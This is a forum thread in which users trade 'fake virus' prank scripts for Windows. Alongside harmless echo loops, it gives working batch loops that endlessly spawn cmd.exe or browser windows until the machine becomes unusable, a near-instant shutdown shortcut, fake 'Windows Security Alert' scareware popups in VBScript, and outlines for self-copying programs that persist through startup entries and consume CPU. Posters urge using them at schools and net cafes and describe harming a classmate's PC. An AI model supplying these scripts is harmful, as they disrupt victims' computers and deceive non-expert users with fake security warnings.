[FakeVirus] HarmFul Virus~~

Things like this has been posted before, but people ask how do you make fake viruses to tease your friends/family.

Well here's one my buddy made and gave to me so I'll share this simple code w/ you.

Open notepad and put this in it

PHP Code:

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@echo off
:hack
echo Harmful Hack!!
gotohack 


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Save that as something.bat

eg. harmfulhack.bat

It has to be saved as .bat. It really doesn't do anything lol. This is a screenshot of what it looks like when you click it, lolz.

http://dump.stoleyour.net/uploads/b146daed77.png



Enjoy, and tease your friends, and family w/ this! Lolz

As russians says - "Баян!" .

PHP Code:

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mov you, 0x68656c6c
call satan 


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That's pretty lame tbh, especially for what the "virus" says.

Lol! Real virusses never use the word virus.

You should make a real executable that looks like its downloading something with a long name (and random characters). And than is installing it...than it should show a screen that its deleting files :P, which he doesnt...he should be just busy to write and delete some temporary files to make it look like the harddrive is active ^^.

But this wont panic me lol.

Got another one:
Go to desktop, make a new shortcut, and fill in: shutdown -s -t 2 -c "Hahaha! Owned!.."
after -t fill in the number of seconds to wait before it'll shutdown.
after -c fill in the text people will see.

To cancel the shutting down, make another shortcut with shutdown -a , and click that.

Thanks for this :P
I'll probz send it to my mate over msn.
He would probably go OH Sh**
Much Love,
Ryan.

How do you guys know about this code ?
Is there a way you could learn how to make this kind of funny tricks ?

You got thousand videos about that on youtube, but sooner or later you wil find out that most of them are pretty lame.

Or just make a similar program witch eats 99% CPU because of incorrect loop or something. :)

what is kinda funny to is :

Code:

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@echo off
:loop
start http://www.google.com
goto loop:

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Ya I've done the shutdown thing b4, I had it copy it self into the startup folder and shutdown the computer lol!!! ya things u can do with C++ having fun lol!

A better "virus" message can be done in a Visual Basic Script File.

Example:

MsgBox("Your AntiVirus software has detected harmful spyware. This could affect your computer. Would you like to remove it?",vbYesNo,"<AntiVirus Name>")

Save it as a .vbs file and just double click it ^_^

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Originally Posted by Laz-low

A better "virus" message can be done in a Visual Basic Script File.

Example:

MsgBox("Your AntiVirus software has detected harmful spyware. This could affect your computer. Would you like to remove it?",vbYesNo,"<AntiVirus Name>")

Save it as a .vbs file and just double click it ^_^

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And nothing happens... That is not interesting.

Good advise to progers:
Make a program witch copies itself to some crazy folder, it also makes a registry startup entry, for the first time it's only opens cd-rom etc... (Something lame) But after first restart it starts to open 100 websites, opens 100 calculators, 100 pains, opens'n'closes cd-rom, and eats 99% CPU. Now after every restart it's going crazy like this.

It's possible and it's easy. Victim wil think that you are lameass who created stupid cd-rom opening shit, but after restart he will go crazy.


Cure: Safe Mode


Good Luck!

Whahaha, how evil ^^,

Or give the symptoms of a very harmfull virii (but does actually nothing), so that when users look it up on the internet they think its the harmfull one ^^

Well you could also have it come up with a msg asking if u want to delete windows and if the user presses yes or no, it hides C:\Windows, or where ever it is and if the user has show hidden files off it would be funny as ever xD!!! or you could have it show a fake progress bar and have it do some stuff with the hd just to make it look like it's doing something lol!!!

Hehe, we, programmers have quite an imagination... :)

Or make a virus that when the computer restarts, a fucking midget jumps through the window and beats up your PC. It's possible rly.

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Originally Posted by Pieman

a fucking midget jumps through the window and beats up your PC.

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Let me guess... It's a PieMan! :happy:

No even better have a Big smiley face pop up on the booting screen that throws a pie at u!!!

I'd do something like gathe all the directories/files in your C: and pretend to delete them. I'd make it disappear when it goes over the X etc...I might try it sometime.

lol epic fail!
80% of the posts here :)

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Originally Posted by evill33t

lol epic fail!
80% of the posts here :)

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TBH only failure here is your post. IMHO.

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Originally Posted by Intelext

TBH only failure here is your post. IMHO.

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Excuse my that i dont appreciate those insane batch file hacking skills xD
Maybe if someone would do some lame attempt in vb6.. oh wait.

It so sad im a Mac user and actually I won't have chance to enjoy that kinda of virus.

Argh! Make It Stop!

Ok it stopped. :P

Code:

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@echo off
:loop
start cmd.exe
goto loop:

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Simple but effective! After a while the computer graphics will start to morph, right-clicking will not work, double the CMD boxes will come up saying that there is an error with starting the CMD and will never end, popups will appear stating multiple errors. =]

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Originally Posted by Intelext

And nothing happens... That is not interesting.

Good advise to progers:
Make a program witch copies itself to some crazy folder, it also makes a registry startup entry, for the first time it's only opens cd-rom etc... (Something lame) But after first restart it starts to open 100 websites, opens 100 calculators, 100 pains, opens'n'closes cd-rom, and eats 99% CPU. Now after every restart it's going crazy like this.

It's possible and it's easy. Victim wil think that you are lameass who created stupid cd-rom opening shit, but after restart he will go crazy.


Cure: Safe Mode


Good Luck!

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He got the code wrong. Here's a more complex one; feel free to open it up and edit it.

Code:

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Msg = "Your AntiVirus software has detected malicious software hidden within your

computer. This could harmfully affect your computer. Would you like to attempt remove

it?"
boxButtons = vbYesNo + vbExclamation
msgTitle = "Windows Security Alert"
response = MsgBox(msg, boxButtons, msgtitle)
If response = vbYes Then
MsgBox"Failed to access infected file. Please check your firewalls and try

again.",vbOkOnly + vbCritical,"Windows Security Alert"
Else
msg = "Please return to this notice from the Control Panel."
End If

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rofl i laughed at this i got in some trouble with school for this i sent one to a kid and it messed his pc up so he snitched LOL!

it would work for a dumb person without knowledge of computers :P

Haha, its easy to fool noobs with this!! by the way nice nickname [我在你心裏] lol your not really in my heart? haha

this is very simple to make one...

wow how you know about that

- to anyone that does go on youtube to find batch files.
Yeah, they're funny but stupid.
They are illegal to send.. mainly the one that deletes, system32, and the recovery for your pc.

- JOSH.

Heh Check this one out:

@echo off
:loop
start Your-Ass
goto loop:

Lol it gives loads of error messages and this stuff is best to do at net cafes or school since task manager is disabled so you cant stop it XD

can be done in this way:

Open notepad and write many times: "start"

Quote:

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start
start
start
start
start
start
start

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And save in .bat

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Originally Posted by ketto93

can be done in this way:

Open notepad and write many times: "start"



And save in .bat

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thats just evil lol
the best thing to do is make a vb application or C# and make it access the shutdown command :D